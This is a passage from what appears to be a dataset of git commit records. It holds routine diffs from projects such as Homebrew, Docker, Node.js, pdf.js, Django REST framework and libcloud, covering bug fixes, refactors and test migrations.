<add> var resolver = function(index) {
<add> return function(value) {
<add> resolve(index, value);
<add> };
<add> };
<add>
<add> var resolve = function(index, value) {
<add> results[index] = value;
<add> if (--remaining === 0) {
<add> allPromise.resolve(results);
<add> }
<add> };
<add>
<add> var reject = function(error) {
<add> allPromise.reject(error);
<add> };
<add>
<add> for (i = 0; i < remaining; i++) {
<add> promises[i].then(resolver(i), reject);
<add> }
<add> return allPromise;
<ide> }
<ide>
<ide> EventTarget.mixin(Promise.prototype); | 1 |
Ruby | Ruby | go test to spec | f8ea9266410c0c2733b6de3c5a3e690842e7b9a8 | <ide><path>Library/Homebrew/test/language/go_spec.rb
<add>require "language/go"
<add>
<add>describe Language::Go do
<add> specify "#stage_deps" do
<add> ENV.delete("HOMEBREW_DEVELOPER")
<add>
<add> expect(described_class).to receive(:opoo).once
<add>
<add> Dir.mktmpdir do |path|
<add> shutup do
<add> described_class.stage_deps [], path
<add> end
<add> end
<add> end
<add>end
<ide><path>Library/Homebrew/test/language_go_test.rb
<del># -*- coding: UTF-8 -*-
<del>
<del>require "testing_env"
<del>require "language/go"
<del>
<del>class LanguageGoTests < Homebrew::TestCase
<del> def test_stage_deps_empty
<del> if ARGV.homebrew_developer?
<del> Language::Go.expects(:odie).once
<del> else
<del> Language::Go.expects(:opoo).once
<del> end
<del> mktmpdir do |path|
<del> shutup { Language::Go.stage_deps [], path }
<del> end
<del> end
<del>end | 2 |
Go | Go | add a missing unlock | 83c0bedba914fa08c9d1f2fe1e47b38a3264777d | <ide><path>daemon/cluster/swarm.go
<ide> func (c *Cluster) Init(req types.InitRequest) (string, error) {
<ide> // API handlers to finish before shutting down the node.
<ide> c.mu.Lock()
<ide> if !c.nr.nodeState.IsManager() {
<add> c.mu.Unlock()
<ide> return "", errSwarmNotManager
<ide> }
<ide> c.mu.Unlock() | 1 |
Ruby | Ruby | check resource placement | 557f6e33a9496513006a3ec69f9d3f3d0450e9e5 | <ide><path>Library/Homebrew/cmd/audit.rb
<ide> def audit_file
<ide> [/^ keg_only/, "keg_only"],
<ide> [/^ option/, "option"],
<ide> [/^ depends_on/, "depends_on"],
<add> [/^ (go_)?resource/, "resource"],
<ide> [/^ def install/, "install method"],
<ide> [/^ def caveats/, "caveats method"],
<ide> [/^ test do/, "test block"], | 1 |
Go | Go | fix nonewmountns for containerd options | 97b0a9d5f195c7daf16cf9dcfb6c4d62044163fe | <ide><path>cmd/dockerd/daemon_unix.go
<ide> import (
<ide> "github.com/docker/docker/cmd/dockerd/hack"
<ide> "github.com/docker/docker/daemon"
<ide> "github.com/docker/docker/libcontainerd"
<del> "github.com/docker/docker/pkg/parsers/kernel"
<ide> "github.com/docker/libnetwork/portallocator"
<ide> "golang.org/x/sys/unix"
<ide> )
<ide> func getDaemonConfDir(_ string) string {
<ide> }
<ide>
<ide> func (cli *DaemonCli) getPlatformRemoteOptions() ([]libcontainerd.RemoteOption, error) {
<del> // On older kernel, letting putting the containerd-shim in its own
<del> // namespace will effectively prevent operations such as unlink, rename
<del> // and remove on mountpoints that were present at the time the shim
<del> // namespace was created. This would led to a famous EBUSY will trying to
<del> // remove shm mounts.
<del> var noNewNS bool
<del> if !kernel.CheckKernelVersion(3, 18, 0) {
<del> noNewNS = true
<del> }
<del>
<ide> opts := []libcontainerd.RemoteOption{
<ide> libcontainerd.WithOOMScore(cli.Config.OOMScoreAdjust),
<ide> libcontainerd.WithPlugin("linux", &linux.Config{
<del> Shim: daemon.DefaultShimBinary,
<del> Runtime: daemon.DefaultRuntimeBinary,
<del> RuntimeRoot: filepath.Join(cli.Config.Root, "runc"),
<del> ShimDebug: cli.Config.Debug,
<del> ShimNoMountNS: noNewNS,
<add> Shim: daemon.DefaultShimBinary,
<add> Runtime: daemon.DefaultRuntimeBinary,
<add> RuntimeRoot: filepath.Join(cli.Config.Root, "runc"),
<add> ShimDebug: cli.Config.Debug,
<ide> }),
<ide> }
<ide> if cli.Config.Debug { | 1 |
Javascript | Javascript | remove redundant condition | f985a25ba7452b015f41dda651d2d9d03cc553b9 | <ide><path>lib/_http_outgoing.js
<ide> function _writeRaw(data, encoding, callback) {
<ide> encoding = null;
<ide> }
<ide>
<del> if (conn && conn._httpMessage === this && conn.writable && !conn.destroyed) {
<add> if (conn && conn._httpMessage === this && conn.writable) {
<ide> // There might be pending data in the this.output buffer.
<ide> if (this.outputData.length) {
<ide> this._flushOutput(conn); | 1 |
Python | Python | update the package links (fixes ) | 7d4658eedef4b9d87974e1a59e26c2da77b1f961 | <ide><path>celery/__init__.py
<ide> __version__ = '5.2.3'
<ide> __author__ = 'Ask Solem'
<ide> __contact__ = 'auvipy@gmail.com'
<del>__homepage__ = 'http://celeryproject.org'
<add>__homepage__ = 'https://docs.celeryq.dev/'
<ide> __docformat__ = 'restructuredtext'
<ide> __keywords__ = 'task job queue distributed messaging actor'
<ide>
<ide><path>setup.py
<ide> def run_tests(self):
<ide> ]
<ide> },
<ide> project_urls={
<del> "Documentation": "https://docs.celeryproject.org/en/latest/index.html",
<del> "Changelog": "https://docs.celeryproject.org/en/stable/changelog.html",
<add> "Documentation": "https://docs.celeryq.dev/en/stable/",
<add> "Changelog": "https://docs.celeryq.dev/en/stable/changelog.html",
<ide> "Code": "https://github.com/celery/celery",
<ide> "Tracker": "https://github.com/celery/celery/issues",
<ide> "Funding": "https://opencollective.com/celery" | 2 |
Java | Java | reflect recent reactor changes | e4588628491889369119d73e801bdd7481ae13d3 | <ide><path>spring-web/src/main/java/org/springframework/http/server/reactive/ChannelSendOperator.java
<ide> import org.reactivestreams.Publisher;
<ide> import org.reactivestreams.Subscriber;
<ide> import org.reactivestreams.Subscription;
<add>import reactor.core.CoreSubscriber;
<ide> import reactor.core.Scannable;
<ide> import reactor.core.publisher.Flux;
<ide> import reactor.core.publisher.Mono;
<ide> import reactor.core.publisher.Operators;
<del>import reactor.util.context.Context;
<ide>
<ide> import org.springframework.lang.Nullable;
<ide> import org.springframework.util.Assert;
<ide> public Object scanUnsafe(Attr key) {
<ide> }
<ide>
<ide> @Override
<del> public void subscribe(Subscriber<? super Void> s, Context ctx) {
<del> this.source.subscribe(new WriteWithBarrier(s), ctx);
<add> public void subscribe(CoreSubscriber<? super Void> actual) {
<add> this.source.subscribe(new WriteWithBarrier(actual));
<ide> }
<ide>
<ide> | 1 |
Text | Text | add tip for running binstubs on windows [ci skip] | eed34e2251fbaa03d86402f7d80ecc3f8a62fb51 | <ide><path>guides/source/getting_started.md
<ide> following in the `blog` directory:
<ide> $ bin/rails server
<ide> ```
<ide>
<add>TIP: If you are using Windows, you have to pass the scripts under the `bin`
<add>folder directly to the Ruby interpreter e.g. `ruby bin\rails server`.
<add>
<ide> TIP: Compiling CoffeeScript and JavaScript asset compression requires you
<ide> have a JavaScript runtime available on your system, in the absence
<ide> of a runtime you will see an `execjs` error during asset compilation. | 1 |
Javascript | Javascript | fix validation snapshots | 794fe448fa09fd7f5f0c5eeaabf0d0d83b9725d5 | <ide><path>test/Validation.test.js
<ide> describe("Validation", () => {
<ide> expect(msg).toMatchInlineSnapshot(`
<ide> "Invalid configuration object. Webpack has been initialized using a configuration object that does not match the API schema.
<ide> - configuration.entry should be an non-empty string.
<del> -> An entry point without name. The string is resolved to a module which is loaded upon startup."
<add> -> The string is resolved to a module which is loaded upon startup."
<ide> `)
<ide> );
<ide> | 1 |
Ruby | Ruby | convert column name to string only once | 872a17d2a985274923cb8adc8aec8c3d22fe0b67 | <ide><path>activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
<ide> def without_prepared_statement?(binds)
<ide> end
<ide>
<ide> def column_for(table_name, column_name) # :nodoc:
<del> unless column = columns(table_name).detect { |c| c.name == column_name.to_s }
<add> column_name = column_name.to_s
<add> unless column = columns(table_name).detect { |c| c.name == column_name }
<ide> raise ActiveRecordError, "No such column: #{table_name}.#{column_name}"
<ide> end
<ide> column | 1 |
Ruby | Ruby | fix binary logic | 5413ddcb6557f1ceb3fbc9bcf28b4cf65ca1c218 | <ide><path>Library/Homebrew/requirements/tuntap_requirement.rb
<ide> class TuntapRequirement < Requirement
<ide> satisfy(:build_env => false) { self.class.binary_tuntap_installed? || Formula["tuntap"].installed? }
<ide>
<ide> def self.binary_tuntap_installed?
<del> File.exist?("/Library/Extensions/tun.kext") && File.exist?("/Library/Extensions/tap.kext")
<del> File.exist?("/Library/LaunchDaemons/net.sf.tuntaposx.tun.plist")
<del> File.exist?("/Library/LaunchDaemons/net.sf.tuntaposx.tap.plist")
<add> %w[
<add> /Library/Extensions/tun.kext
<add> /Library/Extensions/tap.kext
<add> /Library/LaunchDaemons/net.sf.tuntaposx.tun.plist
<add> /Library/LaunchDaemons/net.sf.tuntaposx.tap.plist
<add> ].all? { |file| File.exist?(file) }
<ide> end
<ide> end | 1 |
Javascript | Javascript | remove markernote from js bindings | b07bbab392ae394e7e6e042862620371bc36ea4b | <ide><path>Libraries/Performance/QuickPerformanceLogger.js
<ide> const QuickPerformanceLogger = {
<ide> }
<ide> },
<ide>
<del> markerNote(
<del> markerId: number,
<del> actionId: number,
<del> instanceKey: number = DUMMY_INSTANCE_KEY,
<del> timestamp: number = AUTO_SET_TIMESTAMP,
<del> ): void {
<del> if (global.nativeQPLMarkerNote) {
<del> global.nativeQPLMarkerNote(markerId, instanceKey, actionId, timestamp);
<del> }
<del> },
<del>
<ide> markerTag(
<ide> markerId: number,
<ide> tag: string, | 1 |
Go | Go | fix data race in run() | 11a5f1af01842acf9a25ccebb59f36472ae51170 | <ide><path>daemon/stats_collector.go
<ide> func (s *statsCollector) unsubscribe(c *Container, ch chan interface{}) {
<ide> }
<ide>
<ide> func (s *statsCollector) run() {
<add> type publishersPair struct {
<add> container *Container
<add> publisher *pubsub.Publisher
<add> }
<add> // we cannot determine the capacity here.
<add> // it will grow enough in first iteration
<add> var pairs []publishersPair
<add>
<ide> for range time.Tick(s.interval) {
<add> systemUsage, err := s.getSystemCpuUsage()
<add> if err != nil {
<add> logrus.Errorf("collecting system cpu usage: %v", err)
<add> continue
<add> }
<add>
<add> // it does not make sense in the first iteration,
<add> // but saves allocations in further iterations
<add> pairs = pairs[:0]
<add>
<add> s.m.Lock()
<ide> for container, publisher := range s.publishers {
<del> systemUsage, err := s.getSystemCpuUsage()
<del> if err != nil {
<del> logrus.Errorf("collecting system cpu usage for %s: %v", container.ID, err)
<del> continue
<del> }
<del> stats, err := container.Stats()
<add> // copy pointers here to release the lock ASAP
<add> pairs = append(pairs, publishersPair{container, publisher})
<add> }
<add> s.m.Unlock()
<add>
<add> for _, pair := range pairs {
<add> stats, err := pair.container.Stats()
<ide> if err != nil {
<ide> if err != execdriver.ErrNotRunning {
<del> logrus.Errorf("collecting stats for %s: %v", container.ID, err)
<add> logrus.Errorf("collecting stats for %s: %v", pair.container.ID, err)
<ide> }
<ide> continue
<ide> }
<ide> stats.SystemUsage = systemUsage
<del> publisher.Publish(stats)
<add> pair.publisher.Publish(stats)
<ide> }
<ide> }
<ide> } | 1 |
Text | Text | update docs with no_proxy change, issue | 86d77504c2712ffd787873d0642e62a4e4c5de10 | <ide><path>CHANGELOG.md
<ide>
<ide> Fixes and Functionality:
<ide>
<add>- Added support for no_proxy env variable ([#434](https://github.com/axios/axios/pull/1693/files)) - Chance Dickson
<ide> - Unzip response body only for statuses != 204 ([#1129](https://github.com/axios/axios/pull/1129)) - drawski
<ide> - Destroy stream on exceeding maxContentLength (fixes [#1098](https://github.com/axios/axios/issues/1098)) ([#1485](https://github.com/axios/axios/pull/1485)) - Gadzhi Gadzhiev
<ide> - Makes Axios error generic to use AxiosResponse ([#1738](https://github.com/axios/axios/pull/1738)) - Suman Lama | 1 |
Javascript | Javascript | use white backdrop when possible | ec311f303b40ed6457278ec157d49fb761144f36 | <ide><path>src/api.js
<ide> var PDFPageProxy = (function PDFPageProxyClosure() {
<ide> var stats = this.stats;
<ide> stats.time('Rendering');
<ide>
<del> gfx.beginDrawing(viewport);
<add> var operatorList = this.operatorList;
<add> gfx.beginDrawing(viewport, operatorList.transparency);
<ide>
<ide> var startIdx = 0;
<del> var length = this.operatorList.fnArray.length;
<del> var operatorList = this.operatorList;
<add> var length = operatorList.fnArray.length;
<ide> var stepper = null;
<ide> if (PDFJS.pdfBug && 'StepperManager' in globalScope &&
<ide> globalScope['StepperManager'].enabled) {
<ide><path>src/canvas.js
<ide> var CanvasGraphics = (function CanvasGraphicsClosure() {
<ide> 'shadingFill': true
<ide> },
<ide>
<del> beginDrawing: function CanvasGraphics_beginDrawing(viewport) {
<add> beginDrawing: function CanvasGraphics_beginDrawing(viewport, transparency) {
<add> // For pdfs that use blend modes we have to clear the canvas else certain
<add> // blend modes can look wrong since we'd be blending with a white
<add> // backdrop. The problem with a transparent backdrop though is we then
<add> // don't get sub pixel anti aliasing on text, so we fill with white if
<add> // we can.
<add> var width = this.ctx.canvas.width;
<add> var height = this.ctx.canvas.height;
<add> if (transparency) {
<add> this.ctx.clearRect(0, 0, width, height);
<add> } else {
<add> this.ctx.save();
<add> this.ctx.fillStyle = 'rgb(255, 255, 255)';
<add> this.ctx.fillRect(0, 0, width, height);
<add> this.ctx.restore();
<add> }
<add>
<ide> var transform = viewport.transform;
<ide> this.ctx.save();
<ide> this.ctx.transform.apply(this.ctx, transform);
<ide><path>src/evaluator.js
<ide> var PartialEvaluator = (function PartialEvaluatorClosure() {
<ide> }, handler, xref, resources, image, inline);
<ide> }
<ide>
<del> if (!queue)
<del> queue = {};
<add> if (!queue) {
<add> queue = {
<add> transparency: false
<add> };
<add> }
<ide>
<ide> if (!queue.argsArray) {
<ide> queue.argsArray = [];
<ide> var PartialEvaluator = (function PartialEvaluatorClosure() {
<ide> case 'FL':
<ide> case 'CA':
<ide> case 'ca':
<del> case 'BM':
<ide> gsStateObj.push([key, value]);
<ide> break;
<ide> case 'Font':
<ide> var PartialEvaluator = (function PartialEvaluatorClosure() {
<ide> value[1]
<ide> ]);
<ide> break;
<add> case 'BM':
<add> if (!isName(value) || value.name !== 'Normal') {
<add> queue.transparency = true;
<add> }
<add> gsStateObj.push([key, value]);
<add> break;
<ide> case 'SMask':
<ide> // We support the default so don't trigger the TODO.
<ide> if (!isName(value) || value.name != 'None')
<ide><path>test/driver.js
<ide> function info(message) {
<ide> }
<ide>
<ide> function clear(ctx) {
<del> ctx.save();
<del> ctx.fillStyle = 'rgb(255, 255, 255)';
<del> ctx.fillRect(0, 0, canvas.width, canvas.height);
<del> ctx.restore();
<add> ctx.clearRect(0, 0, canvas.width, canvas.height);
<ide> }
<ide>
<ide> /* Auto-scroll if the scrollbar is near the bottom, otherwise do nothing. */
<ide><path>web/viewer.js
<ide> var PageView = function pageView(container, pdfPage, id, scale,
<ide> }
<ide>
<ide> var ctx = canvas.getContext('2d');
<del> ctx.clearRect(0, 0, canvas.width, canvas.height);
<ide> // TODO(mack): use data attributes to store these
<ide> ctx._scaleX = outputScale.sx;
<ide> ctx._scaleY = outputScale.sy; | 5 |
Javascript | Javascript | fix eaddrinuse bug | e81a89b11610f4692d18f0515494a26a318119aa | <ide><path>lib/net_uv.js
<ide> function listenip(self, ip, port, addressType) {
<ide>
<ide> // assign handle in listen, and clean up if bind or listen fails
<ide> self._handle = new TCP();
<del> self._handle.socket = this;
<add> self._handle.socket = self;
<ide> self._handle.onconnection = onconnection;
<ide>
<ide> if (ip && port) { | 1 |
Javascript | Javascript | remove unused variables | 81bf90e35ae3b57cea01926408d0ebbc3c742a57 | <ide><path>test/createStore.spec.js
<ide> describe('createStore', () => {
<ide> expect(listener3.calls.length).toBe(1)
<ide> expect(listener4.calls.length).toBe(1)
<ide> })
<del> const unsubscribe2 = store.subscribe(listener2)
<del> const unsubscribe3 = store.subscribe(listener3)
<add> store.subscribe(listener2)
<add> store.subscribe(listener3)
<ide>
<ide> store.dispatch(unknownAction())
<ide> expect(listener1.calls.length).toBe(1) | 1 |
PHP | PHP | remove leading slash | 037769e1aa908bc79d4d2aa58216971a51f1b3dd | <ide><path>database/factories/ModelFactory.php
<ide> |
<ide> */
<ide>
<del>$factory->define(App\User::class, function (\Faker\Generator $faker) {
<add>$factory->define(App\User::class, function (Faker\Generator $faker) {
<ide> return [
<ide> 'name' => $faker->name,
<ide> 'email' => $faker->email, | 1 |
Javascript | Javascript | increase http token check iterations | 39fdf0773d7066d33f562de8bb7220708f4ab619 | <ide><path>benchmark/http/check_is_http_token.js
<ide> const bench = common.createBenchmark(main, {
<ide> ':alternate-protocol', // fast bailout
<ide> 'alternate-protocol:' // slow bailout
<ide> ],
<del> n: [1e6],
<add> n: [5e8],
<ide> });
<ide>
<ide> function main(conf) { | 1 |
PHP | PHP | add tests for and remove nested ternaries | c6173a0054ca61c2b05c1cd3d1ed6d651ce03618 | <ide><path>lib/Cake/Test/Case/Utility/HashTest.php
<ide> public function testExtractAttributeEquality() {
<ide> $this->assertEquals(5, $result[3]['id']);
<ide> }
<ide>
<add>/**
<add> * Test extracting based on attributes with boolean values.
<add> *
<add> * @return void
<add> */
<add> public function testExtractAttributeBoolean() {
<add> $users = array(
<add> array(
<add> 'id' => 2,
<add> 'username' => 'johndoe',
<add> 'active' => true
<add> ),
<add> array(
<add> 'id' => 5,
<add> 'username' => 'kevin',
<add> 'active' => true
<add> ),
<add> array(
<add> 'id' => 9,
<add> 'username' => 'samantha',
<add> 'active' => false
<add> ),
<add> );
<add> $result = Hash::extract($users, '{n}[active=false]');
<add> $this->assertCount(1, $result);
<add> $this->assertEquals($users[2], $result[0]);
<add>
<add> $result = Hash::extract($users, '{n}[active=true]');
<add> $this->assertCount(2, $result);
<add> $this->assertEquals($users[0], $result[0]);
<add> $this->assertEquals($users[1], $result[1]);
<add> }
<add>
<ide> /**
<ide> * Test that attribute matchers don't cause errors on scalar data.
<ide> *
<ide><path>lib/Cake/Utility/Hash.php
<ide> protected static function _matches(array $data, $selector) {
<ide> return false;
<ide> }
<ide>
<del> $prop = isset($data[$attr]) ? ( is_bool($data[$attr]) ? (($data[$attr]) ? 'true' : 'false') : $data[$attr] ) : null;
<add> $prop = null;
<add> if (isset($data[$attr])) {
<add> $prop = $data[$attr];
<add> }
<add> if ($prop === true || $prop === false) {
<add> $prop = $prop ? 'true' : 'false';
<add> }
<ide>
<ide> // Pattern matches and other operators.
<ide> if ($op === '=' && $val && $val[0] === '/') { | 2 |
Python | Python | simplify the test | 00e431fd4ad0feef73d0620fe1f7c58c101067ee | <ide><path>libcloud/test/storage/test_base.py
<ide> def test_upload_object_via_stream_illegal_seek_errors_are_ignored(self):
<ide>
<ide> iterator = BodyStream('a' * size)
<ide> iterator.seek = mock.Mock(side_effect=seek_error)
<del> self.assertTrue(hasattr(iterator, '__next__'))
<del> self.assertTrue(hasattr(iterator, 'next'))
<ide>
<ide> result = self.driver1._upload_object(object_name='test1',
<ide> content_type=None,
<ide> def test_upload_object_via_stream_illegal_seek_errors_are_ignored(self):
<ide> self.assertEqual(result['bytes_transferred'], size)
<ide>
<ide> # But others shouldn't
<del>
<ide> self.driver1.connection = Mock()
<ide>
<ide> seek_error = OSError('Other error') | 1 |
PHP | PHP | remove extra not_in | 1a6230b82aa5a17341715e82ab99723d9351791d | <ide><path>app/lang/en/validation.php
<ide> "exists" => "The selected :attribute is invalid.",
<ide> "image" => "The :attribute must be an image.",
<ide> "in" => "The selected :attribute is invalid.",
<del> "not_in" => "The selected :attribute is invalid.",
<ide> "integer" => "The :attribute must be an integer.",
<ide> "ip" => "The :attribute must be a valid IP address.",
<ide> "max" => array( | 1 |
Text | Text | fix typo in http2.md | 8cbbe73553d2c623f2528350062d57dbf5305246 | <ide><path>doc/api/http2.md
<ide> default behavior is to destroy the stream.
<ide>
<ide> When the `options.waitForTrailers` option is set, the `'wantTrailers'` event
<ide> will be emitted immediately after queuing the last chunk of payload data to be
<del>sent. The `http2stream.sendTrilers()` method can then be used to sent trailing
<add>sent. The `http2stream.sendTrailers()` method can then be used to sent trailing
<ide> header fields to the peer.
<ide>
<ide> When `options.waitForTrailers` is set, the `Http2Stream` will not automatically | 1 |
Ruby | Ruby | load correct version of tzinfo | 184986067a3294cb178a9dd8955b934ff3feb9a0 | <ide><path>activesupport/lib/active_support/vendor.rb
<ide> end
<ide>
<ide> begin
<del> gem 'tzinfo', '~> 0.3.12'
<add> gem 'tzinfo', '~> 0.3.13'
<ide> rescue Gem::LoadError
<del> $:.unshift "#{File.dirname(__FILE__)}/vendor/tzinfo-0.3.12"
<add> $:.unshift "#{File.dirname(__FILE__)}/vendor/tzinfo-0.3.13"
<ide> end
<ide>
<ide> # TODO I18n gem has not been released yet | 1 |
Ruby | Ruby | move fix from inside `github` module | 56ef168e7088962ba7b1cdc3da89d30842a8eb69 | <ide><path>Library/Homebrew/cask/lib/hbc/cli/search.rb
<ide> def self.extract_regexp(string)
<ide> end
<ide>
<ide> def self.search_remote(query)
<del> return [] if ENV["HOMEBREW_NO_GITHUB_API"]
<ide> matches = GitHub.search_code(user: "caskroom", path: "Casks",
<ide> filename: query, extension: "rb")
<ide> matches.map do |match|
<ide><path>Library/Homebrew/utils/github.rb
<ide> def api_credentials_error_message(response_headers, needed_scopes)
<ide>
<ide> def open(url, data: nil, scopes: [].freeze)
<ide> # This is a no-op if the user is opting out of using the GitHub API.
<del> return if ENV["HOMEBREW_NO_GITHUB_API"]
<add> return block_given? ? yield({}) : {} if ENV["HOMEBREW_NO_GITHUB_API"]
<ide>
<ide> args = %W[--header application/vnd.github.v3+json --write-out \n%{http_code}]
<ide> args += curl_args
<ide> def issues_for_formula(name, options = {})
<ide> end
<ide>
<ide> def print_pull_requests_matching(query)
<del> return [] if ENV["HOMEBREW_NO_GITHUB_API"]
<del>
<ide> open_or_closed_prs = search_issues(query, type: "pr")
<ide>
<ide> open_prs = open_or_closed_prs.select { |i| i["state"] == "open" }
<ide> def url_to(*subroutes)
<ide> def search(entity, *queries, **qualifiers)
<ide> uri = url_to "search", entity
<ide> uri.query = query_string(*queries, **qualifiers)
<del> open(uri) { |json| Array(json["items"]) }
<add> open(uri) { |json| json.fetch("items", []) }
<ide> end
<ide> end | 2 |
Mixed | Python | fix bug in format suffix patterns | 272fddc9526f09e4904af7c282edd003b12be55a | <ide><path>docs/index.md
<ide> Note that the base URL can be whatever you want, but you must include `rest_fram
<ide> ## Quickstart
<ide>
<ide>
<del>
<ide> ## Tutorial
<ide>
<ide> The tutorial will walk you through the building blocks that make up REST framework. It'll take a little while to get through, but it'll give you a comprehensive understanding of how everything fits together, and is highly recommended reading.
<ide><path>rest_framework/urlpatterns.py
<ide> def format_suffix_patterns(urlpatterns, suffix_required=False, suffix_kwarg=None
<ide> include a '.format' suffix. Retains urlpattern ordering.
<ide> """
<ide> suffix_kwarg = suffix_kwarg or api_settings.FORMAT_SUFFIX_KWARG
<del> suffix_pattern = '.(?P<%s>[a-z]+)$' % suffix_kwarg
<add> suffix_pattern = '\.(?P<%s>[a-z]+)$' % suffix_kwarg
<ide>
<ide> ret = []
<ide> for urlpattern in urlpatterns: | 2 |
Python | Python | add offset support for cursor pagination | dbb684117f6fe0f9c34f98d5e914fc106090cdbc | <ide><path>rest_framework/pagination.py
<add># coding: utf-8
<ide> """
<ide> Pagination serializers determine the structure of the output that should
<ide> be used for paginated responses.
<ide> def to_html(self):
<ide>
<ide>
<ide> def decode_cursor(encoded):
<del> tokens = urlparse.parse_qs(b64decode(encoded))
<add> tokens = urlparse.parse_qs(b64decode(encoded), keep_blank_values=True)
<ide> try:
<ide> offset = int(tokens['offset'][0])
<ide> reverse = bool(int(tokens['reverse'][0]))
<ide> def encode_cursor(cursor):
<ide>
<ide>
<ide> class CursorPagination(BasePagination):
<del> # reverse
<del> # limit
<add> # TODO: reverse cursors
<ide> cursor_query_param = 'cursor'
<ide> page_size = 5
<ide>
<ide> def paginate_queryset(self, queryset, request, view=None):
<ide> encoded = request.query_params.get(self.cursor_query_param)
<ide>
<ide> if encoded is None:
<del> cursor = None
<add> self.cursor = None
<ide> else:
<del> cursor = decode_cursor(encoded)
<add> self.cursor = decode_cursor(encoded)
<ide> # TODO: Invalid cursors should 404
<ide>
<del> if cursor is not None:
<del> kwargs = {self.ordering + '__gt': cursor.position}
<add> if self.cursor is not None and self.cursor.position != '':
<add> kwargs = {self.ordering + '__gt': self.cursor.position}
<ide> queryset = queryset.filter(**kwargs)
<ide>
<del> results = list(queryset[:self.page_size + 1])
<add> # The offset is used in order to deal with cases where we have
<add> # items with an identical position. This allows the cursors
<add> # to gracefully deal with non-unique fields as the ordering.
<add> offset = 0 if (self.cursor is None) else self.cursor.offset
<add>
<add> # We fetch an extra item in order to determine if there is a next page.
<add> results = list(queryset[offset:offset + self.page_size + 1])
<ide> self.page = results[:self.page_size]
<ide> self.has_next = len(results) > len(self.page)
<add> self.next_item = results[-1] if self.has_next else None
<ide> return self.page
<ide>
<ide> def get_next_link(self):
<ide> if not self.has_next:
<ide> return None
<del> last_item = self.page[-1]
<del> position = self.get_position_from_instance(last_item, self.ordering)
<del> cursor = Cursor(offset=0, reverse=False, position=position)
<add>
<add> compare = self.get_position_from_instance(self.next_item, self.ordering)
<add> offset = 0
<add> for item in reversed(self.page):
<add> position = self.get_position_from_instance(item, self.ordering)
<add> if position != compare:
<add> # The item in this position and the item following it
<add> # have different positions. We can use this position as
<add> # our marker.
<add> break
<add>
<add> # The item in this postion has the same position as the item
<add> # following it, we can't use it as a marker position, so increment
<add> # the offset and keep seeking to the previous item.
<add> compare = position
<add> offset += 1
<add>
<add> else:
<add> if self.cursor is None:
<add> # There were no unique positions in the page, and we were
<add> # on the first page, ie. there was no existing cursor.
<add> # Our cursor will have an offset equal to the page size,
<add> # but no position to filter against yet.
<add> offset = self.page_size
<add> position = ''
<add> else:
<add> # There were no unique positions in the page.
<add> # Use the position from the existing cursor and increment
<add> # it's offset by the page size.
<add> offset = self.cursor.offset + self.page_size
<add> position = self.cursor.position
<add>
<add> cursor = Cursor(offset=offset, reverse=False, position=position)
<ide> encoded = encode_cursor(cursor)
<ide> return replace_query_param(self.base_url, self.cursor_query_param, encoded)
<ide>
<ide> def get_ordering(self):
<ide>
<ide> def get_position_from_instance(self, instance, ordering):
<ide> return str(getattr(instance, ordering))
<del>
<del> # def decode_cursor(self, encoded, ordering):
<del> # items = urlparse.parse_qs(b64decode(encoded))
<del> # return items.get(ordering)[0]
<del>
<del> # def encode_cursor(self, cursor, ordering):
<del> # items = [(ordering, cursor)]
<del> # return b64encode(urlparse.urlencode(items, doseq=True))
<ide><path>tests/test_pagination.py
<ide> def __getitem__(self, sliced):
<ide>
<ide> self.pagination = pagination.CursorPagination()
<ide> self.queryset = MockQuerySet(
<del> [MockObject(idx) for idx in range(1, 21)]
<add> [MockObject(idx) for idx in range(1, 16)]
<ide> )
<ide>
<ide> def paginate_queryset(self, request):
<ide> def test_following_cursor(self):
<ide> queryset = self.paginate_queryset(request)
<ide> assert [item.created for item in queryset] == [11, 12, 13, 14, 15]
<ide>
<add> next_url = self.pagination.get_next_link()
<add> assert next_url is None
<add>
<add>
<add>class TestCrazyCursorPagination:
<add> """
<add> Unit tests for `pagination.CursorPagination`.
<add> """
<add>
<add> def setup(self):
<add> class MockObject(object):
<add> def __init__(self, idx):
<add> self.created = idx
<add>
<add> class MockQuerySet(object):
<add> def __init__(self, items):
<add> self.items = items
<add>
<add> def filter(self, created__gt):
<add> return [
<add> item for item in self.items
<add> if item.created > int(created__gt)
<add> ]
<add>
<add> def __getitem__(self, sliced):
<add> return self.items[sliced]
<add>
<add> self.pagination = pagination.CursorPagination()
<add> self.queryset = MockQuerySet([
<add> MockObject(idx) for idx in [
<add> 1, 1, 1, 1, 1,
<add> 1, 1, 1, 1, 1,
<add> 1, 1, 2, 3, 4,
<add> 5, 6, 7, 8, 9
<add> ]
<add> ])
<add>
<add> def paginate_queryset(self, request):
<add> return list(self.pagination.paginate_queryset(self.queryset, request))
<add>
<add> def test_following_cursor_identical_items(self):
<add> request = Request(factory.get('/'))
<add> queryset = self.paginate_queryset(request)
<add> assert [item.created for item in queryset] == [1, 1, 1, 1, 1]
<add>
<ide> next_url = self.pagination.get_next_link()
<ide> assert next_url
<ide>
<ide> request = Request(factory.get(next_url))
<ide> queryset = self.paginate_queryset(request)
<del> assert [item.created for item in queryset] == [16, 17, 18, 19, 20]
<add> assert [item.created for item in queryset] == [1, 1, 1, 1, 1]
<ide>
<ide> next_url = self.pagination.get_next_link()
<del> assert next_url is None
<add> assert next_url
<add>
<add> request = Request(factory.get(next_url))
<add> queryset = self.paginate_queryset(request)
<add> assert [item.created for item in queryset] == [1, 1, 2, 3, 4]
<add>
<add> next_url = self.pagination.get_next_link()
<add> assert next_url
<add>
<add> request = Request(factory.get(next_url))
<add> queryset = self.paginate_queryset(request)
<add> assert [item.created for item in queryset] == [5, 6, 7, 8, 9]
<ide>
<add> next_url = self.pagination.get_next_link()
<add> assert next_url is None
<ide> # assert content == {
<ide> # 'results': [1, 2, 3, 4, 5],
<ide> # 'previous': None, | 2 |
Python | Python | fix capitalization in windows images | 78407d39a10920ac18bce3d99e2ece5c144deee3 | <ide><path>libcloud/compute/drivers/azure_arm.py
<ide> def create_node(self,
<ide> }
<ide> }
<ide> elif isinstance(auth, NodeAuthPassword):
<del> if not "Windows" in image.id.lower():
<add> if not "windows" in image.id.lower():
<ide> data["properties"]["osProfile"]["linuxConfiguration"] = {
<ide> "disablePasswordAuthentication": "false"
<ide> } | 1 |
Java | Java | fix screenshot tests for react with nodes | 7055c52288c94f5ef87a59f4f421c925e59fb05c | <ide><path>ReactAndroid/src/main/java/com/facebook/react/flat/AbstractClippingDrawCommand.java
<ide> public final float getClipBottom() {
<ide> }
<ide>
<ide> protected final void applyClipping(Canvas canvas) {
